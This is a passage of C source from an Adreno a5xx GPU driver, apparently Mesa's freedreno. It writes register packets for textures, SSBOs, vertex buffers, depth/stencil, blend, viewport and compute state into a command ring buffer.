|\n\t\t\t\t\tA5XX_TEX_CONST_0_TILE_MODE(tile_mode));\n\t\t\tOUT_RING(ring, view->texconst1);\n\t\t\tOUT_RING(ring, view->texconst2);\n\t\t\tOUT_RING(ring, view->texconst3);\n\t\t\tif (view->base.texture) {\n\t\t\t\tstruct fd_resource *rsc = fd_resource(view->base.texture);\n\t\t\t\tif (view->base.format == PIPE_FORMAT_X32_S8X24_UINT)\n\t\t\t\t\trsc = rsc->stencil;\n\t\t\t\tOUT_RELOC(ring, rsc->bo, view->offset,\n\t\t\t\t\t\t(uint64_t)view->texconst5 << 32, 0);\n\t\t\t} else {\n\t\t\t\tOUT_RING(ring, 0x00000000);\n\t\t\t\tOUT_RING(ring, view->texconst5);\n\t\t\t}\n\t\t\tOUT_RING(ring, view->texconst6);\n\t\t\tOUT_RING(ring, view->texconst7);\n\t\t\tOUT_RING(ring, view->texconst8);\n\t\t\tOUT_RING(ring, view->texconst9);\n\t\t\tOUT_RING(ring, view->texconst10);\n\t\t\tOUT_RING(ring, view->texconst11);\n\t\t}\n\t}\n\n\treturn needs_border;\n}\n\nstatic void\nemit_ssbos(struct fd_context *ctx, struct fd_ringbuffer *ring,\n\t\tenum a4xx_state_block sb, struct fd_shaderbuf_stateobj *so)\n{\n\tunsigned count = util_last_bit(so->enabled_mask);\n\n\tif (count == 0)\n\t\treturn;\n\n\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (4 * count));\n\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(0) |\n\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(sb) |\n\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(count));\n\tOUT_RING(ring, CP_LOAD_STATE4_1_STATE_TYPE(0) |\n\t\t\tCP_LOAD_STATE4_1_EXT_SRC_ADDR(0));\n\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\tfor (unsigned i = 0; i < count; i++) {\n\t\tOUT_RING(ring, 0x00000000);\n\t\tOUT_RING(ring, 0x00000000);\n\t\tOUT_RING(ring, 0x00000000);\n\t\tOUT_RING(ring, 0x00000000);\n\t}\n\n\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (2 * count));\n\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(0) |\n\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(sb) |\n\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(count));\n\tOUT_RING(ring, CP_LOAD_STATE4_1_STATE_TYPE(1) |\n\t\t\tCP_LOAD_STATE4_1_EXT_SRC_ADDR(0));\n\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\tfor (unsigned i = 0; i < count; i++) {\n\t\tstruct pipe_shader_buffer *buf = &so->sb[i];\n\t\tunsigned sz = buf->buffer_size;\n\n\t\t/* width is in dwords, overflows into height: */\n\t\tsz /= 4;\n\n\t\tOUT_RING(ring, A5XX_SSBO_1_0_WIDTH(sz));\n\t\tOUT_RING(ring, A5XX_SSBO_1_1_HEIGHT(sz >> 16));\n\t}\n\n\tOUT_PKT7(ring, CP_LOAD_STATE4, 3 + (2 * count));\n\tOUT_RING(ring, CP_LOAD_STATE4_0_DST_OFF(0) |\n\t\t\tCP_LOAD_STATE4_0_STATE_SRC(SS4_DIRECT) |\n\t\t\tCP_LOAD_STATE4_0_STATE_BLOCK(sb) |\n\t\t\tCP_LOAD_STATE4_0_NUM_UNIT(count));\n\tOUT_RING(ring, CP_LOAD_STATE4_1_STATE_TYPE(2) |\n\t\t\tCP_LOAD_STATE4_1_EXT_SRC_ADDR(0));\n\tOUT_RING(ring, CP_LOAD_STATE4_2_EXT_SRC_ADDR_HI(0));\n\tfor (unsigned i = 0; i < count; i++) {\n\t\tstruct pipe_shader_buffer *buf = &so->sb[i];\n\t\tif (buf->buffer) {\n\t\t\tstruct fd_resource *rsc = fd_resource(buf->buffer);\n\t\t\tOUT_RELOCW(ring, rsc->bo, buf->buffer_offset, 0, 0);\n\t\t} else {\n\t\t\tOUT_RING(ring, 0x00000000);\n\t\t\tOUT_RING(ring, 0x00000000);\n\t\t}\n\t}\n}\n\nvoid\nfd5_emit_vertex_bufs(struct fd_ringbuffer *ring, struct fd5_emit *emit)\n{\n\tint32_t i, j;\n\tconst struct fd_vertex_state *vtx = emit->vtx;\n\tconst struct ir3_shader_variant *vp = fd5_emit_get_vp(emit);\n\n\tfor (i = 0, j = 0; i <= vp->inputs_count; i++) {\n\t\tif (vp->inputs[i].sysval)\n\t\t\tcontinue;\n\t\tif (vp->inputs[i].compmask) {\n\t\t\tstruct pipe_vertex_element *elem = &vtx->vtx->pipe[i];\n\t\t\tconst struct pipe_vertex_buffer *vb =\n\t\t\t\t\t&vtx->vertexbuf.vb[elem->vertex_buffer_index];\n\t\t\tstruct fd_resource *rsc = fd_resource(vb->buffer.resource);\n\t\t\tenum pipe_format pfmt = elem->src_format;\n\t\t\tenum a5xx_vtx_fmt fmt = fd5_pipe2vtx(pfmt);\n\t\t\tbool isint = util_format_is_pure_integer(pfmt);\n\t\t\tuint32_t off = vb->buffer_offset + elem->src_offset;\n\t\t\tuint32_t size = fd_bo_size(rsc->bo) - off;\n\t\t\tdebug_assert(fmt != ~0);\n\n#ifdef DEBUG\n\t\t\t/* see dEQP-GLES31.stress.vertex_attribute_binding.buffer_bounds.bind_vertex_buffer_offset_near_wrap_10\n\t\t\t */\n\t\t\tif (off > fd_bo_size(rsc->bo))\n\t\t\t\tcontinue;\n#endif\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_VFD_FETCH(j), 4);\n\t\t\tOUT_RELOC(ring, rsc->bo, off, 0, 0);\n\t\t\tOUT_RING(ring, size); /* VFD_FETCH[j].SIZE */\n\t\t\tOUT_RING(ring, vb->stride); /* VFD_FETCH[j].STRIDE */\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_VFD_DECODE(j), 2);\n\t\t\tOUT_RING(ring, A5XX_VFD_DECODE_INSTR_IDX(j) |\n\t\t\t\t\tA5XX_VFD_DECODE_INSTR_FORMAT(fmt) |\n\t\t\t\t\tCOND(elem->instance_divisor, A5XX_VFD_DECODE_INSTR_INSTANCED) |\n\t\t\t\t\tA5XX_VFD_DECODE_INSTR_SWAP(fd5_pipe2swap(pfmt)) |\n\t\t\t\t\tA5XX_VFD_DECODE_INSTR_UNK30 |\n\t\t\t\t\tCOND(!isint, A5XX_VFD_DECODE_INSTR_FLOAT));\n\t\t\tOUT_RING(ring, MAX2(1, elem->instance_divisor)); /* VFD_DECODE[j].STEP_RATE */\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_VFD_DEST_CNTL(j), 1);\n\t\t\tOUT_RING(ring, A5XX_VFD_DEST_CNTL_INSTR_WRITEMASK(vp->inputs[i].compmask) |\n\t\t\t\t\tA5XX_VFD_DEST_CNTL_INSTR_REGID(vp->inputs[i].regid));\n\n\t\t\tj++;\n\t\t}\n\t}\n\n\tOUT_PKT4(ring, REG_A5XX_VFD_CONTROL_0, 1);\n\tOUT_RING(ring, A5XX_VFD_CONTROL_0_VTXCNT(j));\n}\n\nvoid\nfd5_emit_state(struct fd_context *ctx, struct fd_ringbuffer *ring,\n\t\tstruct fd5_emit *emit)\n{\n\tstruct pipe_framebuffer_state *pfb = &ctx->batch->framebuffer;\n\tconst struct ir3_shader_variant *vp = fd5_emit_get_vp(emit);\n\tconst struct ir3_shader_variant *fp = fd5_emit_get_fp(emit);\n\tconst enum fd_dirty_3d_state dirty = emit->dirty;\n\tbool needs_border = false;\n\n\temit_marker5(ring, 5);\n\n\tif ((dirty & FD_DIRTY_FRAMEBUFFER) && !emit->key.binning_pass) {\n\t\tunsigned char mrt_comp[A5XX_MAX_RENDER_TARGETS] = {0};\n\n\t\tfor (unsigned i = 0; i < A5XX_MAX_RENDER_TARGETS; i++) {\n\t\t\tmrt_comp[i] = ((i < pfb->nr_cbufs) && pfb->cbufs[i]) ? 0xf : 0;\n\t\t}\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_RENDER_COMPONENTS, 1);\n\t\tOUT_RING(ring, A5XX_RB_RENDER_COMPONENTS_RT0(mrt_comp[0]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT1(mrt_comp[1]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT2(mrt_comp[2]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT3(mrt_comp[3]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT4(mrt_comp[4]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT5(mrt_comp[5]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT6(mrt_comp[6]) |\n\t\t\t\tA5XX_RB_RENDER_COMPONENTS_RT7(mrt_comp[7]));\n\t}\n\n\tif (dirty & (FD_DIRTY_ZSA | FD_DIRTY_FRAMEBUFFER)) {\n\t\tstruct fd5_zsa_stateobj *zsa = fd5_zsa_stateobj(ctx->zsa);\n\t\tuint32_t rb_alpha_control = zsa->rb_alpha_control;\n\n\t\tif (util_format_is_pure_integer(pipe_surface_format(pfb->cbufs[0])))\n\t\t\trb_alpha_control &= ~A5XX_RB_ALPHA_CONTROL_ALPHA_TEST;\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_ALPHA_CONTROL, 1);\n\t\tOUT_RING(ring, rb_alpha_control);\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_STENCIL_CONTROL, 1);\n\t\tOUT_RING(ring, zsa->rb_stencil_control);\n\t}\n\n\tif (dirty & (FD_DIRTY_ZSA | FD_DIRTY_BLEND | FD_DIRTY_PROG)) {\n\t\tstruct fd5_blend_stateobj *blend = fd5_blend_stateobj(ctx->blend);\n\t\tstruct fd5_zsa_stateobj *zsa = fd5_zsa_stateobj(ctx->zsa);\n\n\t\tif (pfb->zsbuf) {\n\t\t\tstruct fd_resource *rsc = fd_resource(pfb->zsbuf->texture);\n\t\t\tuint32_t gras_lrz_cntl = zsa->gras_lrz_cntl;\n\n\t\t\tif (emit->no_lrz_write || !rsc->lrz || !rsc->lrz_valid)\n\t\t\t\tgras_lrz_cntl = 0;\n\t\t\telse if (emit->key.binning_pass && blend->lrz_write && zsa->lrz_write)\n\t\t\t\tgras_lrz_cntl |= A5XX_GRAS_LRZ_CNTL_LRZ_WRITE;\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_GRAS_LRZ_CNTL, 1);\n\t\t\tOUT_RING(ring, gras_lrz_cntl);\n\t\t}\n\t}\n\n\tif (dirty & (FD_DIRTY_ZSA | FD_DIRTY_STENCIL_REF)) {\n\t\tstruct fd5_zsa_stateobj *zsa = fd5_zsa_stateobj(ctx->zsa);\n\t\tstruct pipe_stencil_ref *sr = &ctx->stencil_ref;\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_STENCILREFMASK, 2);\n\t\tOUT_RING(ring, zsa->rb_stencilrefmask |\n\t\t\t\tA5XX_RB_STENCILREFMASK_STENCILREF(sr->ref_value[0]));\n\t\tOUT_RING(ring, zsa->rb_stencilrefmask_bf |\n\t\t\t\tA5XX_RB_STENCILREFMASK_BF_STENCILREF(sr->ref_value[1]));\n\t}\n\n\tif (dirty & (FD_DIRTY_ZSA | FD_DIRTY_RASTERIZER | FD_DIRTY_PROG)) {\n\t\tstruct fd5_zsa_stateobj *zsa = fd5_zsa_stateobj(ctx->zsa);\n\t\tbool fragz = fp->has_kill | fp->writes_pos;\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_DEPTH_CNTL, 1);\n\t\tOUT_RING(ring, zsa->rb_depth_cntl);\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_DEPTH_PLANE_CNTL, 1);\n\t\tOUT_RING(ring, COND(fragz, A5XX_RB_DEPTH_PLANE_CNTL_FRAG_WRITES_Z) |\n\t\t\t\tCOND(fragz && fp->frag_coord, A5XX_RB_DEPTH_PLANE_CNTL_UNK1));\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_DEPTH_PLANE_CNTL, 1);\n\t\tOUT_RING(ring, COND(fragz, A5XX_GRAS_SU_DEPTH_PLANE_CNTL_FRAG_WRITES_Z) |\n\t\t\t\tCOND(fragz && fp->frag_coord, A5XX_GRAS_SU_DEPTH_PLANE_CNTL_UNK1));\n\t}\n\n\tif (dirty & FD_DIRTY_SCISSOR) {\n\t\tstruct pipe_scissor_state *scissor = fd_context_get_scissor(ctx);\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SC_SCREEN_SCISSOR_TL_0, 2);\n\t\tOUT_RING(ring, A5XX_GRAS_SC_SCREEN_SCISSOR_TL_0_X(scissor->minx) |\n\t\t\t\tA5XX_GRAS_SC_SCREEN_SCISSOR_TL_0_Y(scissor->miny));\n\t\tOUT_RING(ring, A5XX_GRAS_SC_SCREEN_SCISSOR_TL_0_X(scissor->maxx - 1) |\n\t\t\t\tA5XX_GRAS_SC_SCREEN_SCISSOR_TL_0_Y(scissor->maxy - 1));\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SC_VIEWPORT_SCISSOR_TL_0, 2);\n\t\tOUT_RING(ring, A5XX_GRAS_SC_VIEWPORT_SCISSOR_TL_0_X(scissor->minx) |\n\t\t\t\tA5XX_GRAS_SC_VIEWPORT_SCISSOR_TL_0_Y(scissor->miny));\n\t\tOUT_RING(ring, A5XX_GRAS_SC_VIEWPORT_SCISSOR_TL_0_X(scissor->maxx - 1) |\n\t\t\t\tA5XX_GRAS_SC_VIEWPORT_SCISSOR_TL_0_Y(scissor->maxy - 1));\n\n\t\tctx->batch->max_scissor.minx = MIN2(ctx->batch->max_scissor.minx, scissor->minx);\n\t\tctx->batch->max_scissor.miny = MIN2(ctx->batch->max_scissor.miny, scissor->miny);\n\t\tctx->batch->max_scissor.maxx = MAX2(ctx->batch->max_scissor.maxx, scissor->maxx);\n\t\tctx->batch->max_scissor.maxy = MAX2(ctx->batch->max_scissor.maxy, scissor->maxy);\n\t}\n\n\tif (dirty & FD_DIRTY_VIEWPORT) {\n\t\tfd_wfi(ctx->batch, ring);\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_CL_VPORT_XOFFSET_0, 6);\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_XOFFSET_0(ctx->viewport.translate[0]));\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_XSCALE_0(ctx->viewport.scale[0]));\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_YOFFSET_0(ctx->viewport.translate[1]));\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_YSCALE_0(ctx->viewport.scale[1]));\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_ZOFFSET_0(ctx->viewport.translate[2]));\n\t\tOUT_RING(ring, A5XX_GRAS_CL_VPORT_ZSCALE_0(ctx->viewport.scale[2]));\n\t}\n\n\tif (dirty & FD_DIRTY_PROG)\n\t\tfd5_program_emit(ctx, ring, emit);\n\n\tif (dirty & FD_DIRTY_RASTERIZER) {\n\t\tstruct fd5_rasterizer_stateobj *rasterizer =\n\t\t\t\tfd5_rasterizer_stateobj(ctx->rasterizer);\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_CNTL, 1);\n\t\tOUT_RING(ring, rasterizer->gras_su_cntl |\n\t\t\t\tCOND(pfb->samples > 1, A5XX_GRAS_SU_CNTL_MSAA_ENABLE));\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_POINT_MINMAX, 2);\n\t\tOUT_RING(ring, rasterizer->gras_su_point_minmax);\n\t\tOUT_RING(ring, rasterizer->gras_su_point_size);\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_POLY_OFFSET_SCALE, 3);\n\t\tOUT_RING(ring, rasterizer->gras_su_poly_offset_scale);\n\t\tOUT_RING(ring, rasterizer->gras_su_poly_offset_offset);\n\t\tOUT_RING(ring, rasterizer->gras_su_poly_offset_clamp);\n\n\t\tOUT_PKT4(ring, REG_A5XX_PC_RASTER_CNTL, 1);\n\t\tOUT_RING(ring, rasterizer->pc_raster_cntl);\n\n\t\tOUT_PKT4(ring, REG_A5XX_GRAS_CL_CNTL, 1);\n\t\tOUT_RING(ring, rasterizer->gras_cl_clip_cntl);\n\t}\n\n\t/* note: must come after program emit.. because there is some overlap\n\t * in registers, ex. PC_PRIMITIVE_CNTL and we rely on some cached\n\t * values from fd5_program_emit() to avoid having to re-emit the prog\n\t * every time rast state changes.\n\t *\n\t * Since the primitive restart state is not part of a tracked object, we\n\t * re-emit this register every time.\n\t */\n\tif (emit->info && ctx->rasterizer) {\n\t\tstruct fd5_rasterizer_stateobj *rasterizer =\n\t\t\t\tfd5_rasterizer_stateobj(ctx->rasterizer);\n\t\tunsigned max_loc = fd5_context(ctx)->max_loc;\n\n\t\tOUT_PKT4(ring, REG_A5XX_PC_PRIMITIVE_CNTL, 1);\n\t\tOUT_RING(ring, rasterizer->pc_primitive_cntl |\n\t\t\t\t A5XX_PC_PRIMITIVE_CNTL_STRIDE_IN_VPC(max_loc) |\n\t\t\t\t COND(emit->info->primitive_restart && emit->info->index_size,\n\t\t\t\t\t A5XX_PC_PRIMITIVE_CNTL_PRIMITIVE_RESTART));\n\t}\n\n\tif (dirty & (FD_DIRTY_FRAMEBUFFER | FD_DIRTY_RASTERIZER | FD_DIRTY_PROG)) {\n\t\tuint32_t posz_regid = ir3_find_output_regid(fp, FRAG_RESULT_DEPTH);\n\t\tunsigned nr = pfb->nr_cbufs;\n\n\t\tif (emit->key.binning_pass)\n\t\t\tnr = 0;\n\t\telse if (ctx->rasterizer->rasterizer_discard)\n\t\t\tnr = 0;\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_FS_OUTPUT_CNTL, 1);\n\t\tOUT_RING(ring, A5XX_RB_FS_OUTPUT_CNTL_MRT(nr) |\n\t\t\t\tCOND(fp->writes_pos, A5XX_RB_FS_OUTPUT_CNTL_FRAG_WRITES_Z));\n\n\t\tOUT_PKT4(ring, REG_A5XX_SP_FS_OUTPUT_CNTL, 1);\n\t\tOUT_RING(ring, A5XX_SP_FS_OUTPUT_CNTL_MRT(nr) |\n\t\t\t\tA5XX_SP_FS_OUTPUT_CNTL_DEPTH_REGID(posz_regid) |\n\t\t\t\tA5XX_SP_FS_OUTPUT_CNTL_SAMPLEMASK_REGID(regid(63, 0)));\n\t}\n\n\tif (emit->prog == &ctx->prog) { /* evil hack to deal sanely with clear path */\n\t\tir3_emit_vs_consts(vp, ring, ctx, emit->info);\n\t\tif (!emit->key.binning_pass)\n\t\t\tir3_emit_fs_consts(fp, ring, ctx);\n\n\t\tstruct pipe_stream_output_info *info = &vp->shader->stream_output;\n\t\tif (info->num_outputs) {\n\t\t\tstruct fd_streamout_stateobj *so = &ctx->streamout;\n\n\t\t\tfor (unsigned i = 0; i < so->num_targets; i++) {\n\t\t\t\tstruct pipe_stream_output_target *target = so->targets[i];\n\n\t\t\t\tif (!target)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tunsigned offset = (so->offsets[i] * info->stride[i] * 4) +\n\t\t\t\t\t\ttarget->buffer_offset;\n\n\t\t\t\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_BASE_LO(i), 3);\n\t\t\t\t/* VPC_SO[i].BUFFER_BASE_LO: */\n\t\t\t\tOUT_RELOCW(ring, fd_resource(target->buffer)->bo, 0, 0, 0);\n\t\t\t\tOUT_RING(ring, target->buffer_size + offset);\n\n\t\t\t\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_OFFSET(i), 3);\n\t\t\t\tOUT_RING(ring, offset);\n\t\t\t\t/* VPC_SO[i].FLUSH_BASE_LO/HI: */\n\t\t\t\t// TODO just give hw a dummy addr for now.. we should\n\t\t\t\t// be using this an then CP_MEM_TO_REG to set the\n\t\t\t\t// VPC_SO[i].BUFFER_OFFSET for the next draw..\n\t\t\t\tOUT_RELOCW(ring, fd5_context(ctx)->blit_mem, 0x100, 0, 0);\n\n\t\t\t\temit->streamout_mask |= (1 << i);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (dirty & FD_DIRTY_BLEND) {\n\t\tstruct fd5_blend_stateobj *blend = fd5_blend_stateobj(ctx->blend);\n\t\tuint32_t i;\n\n\t\tfor (i = 0; i < A5XX_MAX_RENDER_TARGETS; i++) {\n\t\t\tenum pipe_format format = pipe_surface_format(pfb->cbufs[i]);\n\t\t\tbool is_int = util_format_is_pure_integer(format);\n\t\t\tbool has_alpha = util_format_has_alpha(format);\n\t\t\tuint32_t control = blend->rb_mrt[i].control;\n\t\t\tuint32_t blend_control = blend->rb_mrt[i].blend_control_alpha;\n\n\t\t\tif (is_int) {\n\t\t\t\tcontrol &= A5XX_RB_MRT_CONTROL_COMPONENT_ENABLE__MASK;\n\t\t\t\tcontrol |= A5XX_RB_MRT_CONTROL_ROP_CODE(ROP_COPY);\n\t\t\t}\n\n\t\t\tif (has_alpha) {\n\t\t\t\tblend_control |= blend->rb_mrt[i].blend_control_rgb;\n\t\t\t} else {\n\t\t\t\tblend_control |= blend->rb_mrt[i].blend_control_no_alpha_rgb;\n\t\t\t\tcontrol &= ~A5XX_RB_MRT_CONTROL_BLEND2;\n\t\t\t}\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_RB_MRT_CONTROL(i), 1);\n\t\t\tOUT_RING(ring, control);\n\n\t\t\tOUT_PKT4(ring, REG_A5XX_RB_MRT_BLEND_CONTROL(i), 1);\n\t\t\tOUT_RING(ring, blend_control);\n\t\t}\n\n\t\tOUT_PKT4(ring, REG_A5XX_SP_BLEND_CNTL, 1);\n\t\tOUT_RING(ring, blend->sp_blend_cntl);\n\t}\n\n\tif (dirty & (FD_DIRTY_BLEND | FD_DIRTY_SAMPLE_MASK)) {\n\t\tstruct fd5_blend_stateobj *blend = fd5_blend_stateobj(ctx->blend);\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_BLEND_CNTL, 1);\n\t\tOUT_RING(ring, blend->rb_blend_cntl |\n\t\t\t\tA5XX_RB_BLEND_CNTL_SAMPLE_MASK(ctx->sample_mask));\n\t}\n\n\tif (dirty & FD_DIRTY_BLEND_COLOR) {\n\t\tstruct pipe_blend_color *bcolor = &ctx->blend_color;\n\n\t\tOUT_PKT4(ring, REG_A5XX_RB_BLEND_RED, 8);\n\t\tOUT_RING(ring, A5XX_RB_BLEND_RED_FLOAT(bcolor->color[0]) |\n\t\t\t\tA5XX_RB_BLEND_RED_UINT(bcolor->color[0] * 0xff) |\n\t\t\t\tA5XX_RB_BLEND_RED_SINT(bcolor->color[0] * 0x7f));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_RED_F32(bcolor->color[0]));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_GREEN_FLOAT(bcolor->color[1]) |\n\t\t\t\tA5XX_RB_BLEND_GREEN_UINT(bcolor->color[1] * 0xff) |\n\t\t\t\tA5XX_RB_BLEND_GREEN_SINT(bcolor->color[1] * 0x7f));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_RED_F32(bcolor->color[1]));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_BLUE_FLOAT(bcolor->color[2]) |\n\t\t\t\tA5XX_RB_BLEND_BLUE_UINT(bcolor->color[2] * 0xff) |\n\t\t\t\tA5XX_RB_BLEND_BLUE_SINT(bcolor->color[2] * 0x7f));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_BLUE_F32(bcolor->color[2]));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_ALPHA_FLOAT(bcolor->color[3]) |\n\t\t\t\tA5XX_RB_BLEND_ALPHA_UINT(bcolor->color[3] * 0xff) |\n\t\t\t\tA5XX_RB_BLEND_ALPHA_SINT(bcolor->color[3] * 0x7f));\n\t\tOUT_RING(ring, A5XX_RB_BLEND_ALPHA_F32(bcolor->color[3]));\n\t}\n\n\tif (ctx->dirty_shader[PIPE_SHADER_VERTEX] & FD_DIRTY_SHADER_TEX) {\n\t\tneeds_border |= emit_textures(ctx, ring, SB4_VS_TEX,\n\t\t\t\t&ctx->tex[PIPE_SHADER_VERTEX]);\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_VS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, ctx->tex[PIPE_SHADER_VERTEX].num_textures);\n\t}\n\n\tif (ctx->dirty_shader[PIPE_SHADER_FRAGMENT] & FD_DIRTY_SHADER_TEX) {\n\t\tneeds_border |= emit_textures(ctx, ring, SB4_FS_TEX,\n\t\t\t\t&ctx->tex[PIPE_SHADER_FRAGMENT]);\n\t}\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_FS_TEX_COUNT, 1);\n\tOUT_RING(ring, ctx->shaderimg[PIPE_SHADER_FRAGMENT].enabled_mask ?\n\t\t\t~0 : ctx->tex[PIPE_SHADER_FRAGMENT].num_textures);\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_CS_TEX_COUNT, 1);\n\tOUT_RING(ring, 0);\n\n\tif (needs_border)\n\t\temit_border_color(ctx, ring);\n\n\tif (ctx->dirty_shader[PIPE_SHADER_FRAGMENT] & FD_DIRTY_SHADER_SSBO)\n\t\temit_ssbos(ctx, ring, SB4_SSBO, &ctx->shaderbuf[PIPE_SHADER_FRAGMENT]);\n\n\tif (ctx->dirty_shader[PIPE_SHADER_FRAGMENT] & FD_DIRTY_SHADER_IMAGE)\n\t\tfd5_emit_images(ctx, ring, PIPE_SHADER_FRAGMENT);\n}\n\nvoid\nfd5_emit_cs_state(struct fd_context *ctx, struct fd_ringbuffer *ring,\n\t\tstruct ir3_shader_variant *cp)\n{\n\tenum fd_dirty_shader_state dirty = ctx->dirty_shader[PIPE_SHADER_COMPUTE];\n\n\tif (dirty & FD_DIRTY_SHADER_TEX) {\n\t\tbool needs_border = false;\n\t\tneeds_border |= emit_textures(ctx, ring, SB4_CS_TEX,\n\t\t\t\t&ctx->tex[PIPE_SHADER_COMPUTE]);\n\n\t\tif (needs_border)\n\t\t\temit_border_color(ctx, ring);\n\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_VS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, 0);\n\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_HS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, 0);\n\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_DS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, 0);\n\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_GS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, 0);\n\n\t\tOUT_PKT4(ring, REG_A5XX_TPL1_FS_TEX_COUNT, 1);\n\t\tOUT_RING(ring, 0);\n\t}\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_CS_TEX_COUNT, 1);\n\tOUT_RING(ring, ctx->shaderimg[PIPE_SHADER_COMPUTE].enabled_mask ?\n\t\t\t~0 : ctx->tex[PIPE_SHADER_COMPUTE].num_textures);\n\n\tif (dirty & FD_DIRTY_SHADER_SSBO)\n\t\temit_ssbos(ctx, ring, SB4_CS_SSBO, &ctx->shaderbuf[PIPE_SHADER_COMPUTE]);\n\n\tif (dirty & FD_DIRTY_SHADER_IMAGE)\n\t\tfd5_emit_images(ctx, ring, PIPE_SHADER_COMPUTE);\n}\n\n/* emit setup at begin of new cmdstream buffer (don't rely on previous\n * state, there could have been a context switch between ioctls):\n */\nvoid\nfd5_emit_restore(struct fd_batch *batch, struct fd_ringbuffer *ring)\n{\n\tstruct fd_context *ctx = batch->ctx;\n\n\tfd5_set_render_mode(ctx, ring, BYPASS);\n\tfd5_cache_flush(batch, ring);\n\n\tOUT_PKT4(ring, REG_A5XX_HLSQ_UPDATE_CNTL, 1);\n\tOUT_RING(ring, 0xfffff);\n\n/*\nt7 opcode: CP_PERFCOUNTER_ACTION (50) (4 dwords)\n0000000500024048: 70d08003 00000000 001c5000 00000005\nt7 opcode: CP_PERFCOUNTER_ACTION (50) (4 dwords)\n0000000500024058: 70d08003 00000010 001c7000 00000005\n\nt7 opcode: CP_WAIT_FOR_IDLE (26) (1 dwords)\n0000000500024068: 70268000\n*/\n\n\tOUT_PKT4(ring, REG_A5XX_PC_RESTART_INDEX, 1);\n\tOUT_RING(ring, 0xffffffff);\n\n\tOUT_PKT4(ring, REG_A5XX_PC_RASTER_CNTL, 1);\n\tOUT_RING(ring, 0x00000012);\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_POINT_MINMAX, 2);\n\tOUT_RING(ring, A5XX_GRAS_SU_POINT_MINMAX_MIN(1.0) |\n\t\t\tA5XX_GRAS_SU_POINT_MINMAX_MAX(4092.0));\n\tOUT_RING(ring, A5XX_GRAS_SU_POINT_SIZE(0.5));\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_CONSERVATIVE_RAS_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SU_CONSERVATIVE_RAS_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SC_SCREEN_SCISSOR_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SC_SCREEN_SCISSOR_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_SP_VS_CONFIG_MAX_CONST, 1);\n\tOUT_RING(ring, 0); /* SP_VS_CONFIG_MAX_CONST */\n\n\tOUT_PKT4(ring, REG_A5XX_SP_FS_CONFIG_MAX_CONST, 1);\n\tOUT_RING(ring, 0); /* SP_FS_CONFIG_MAX_CONST 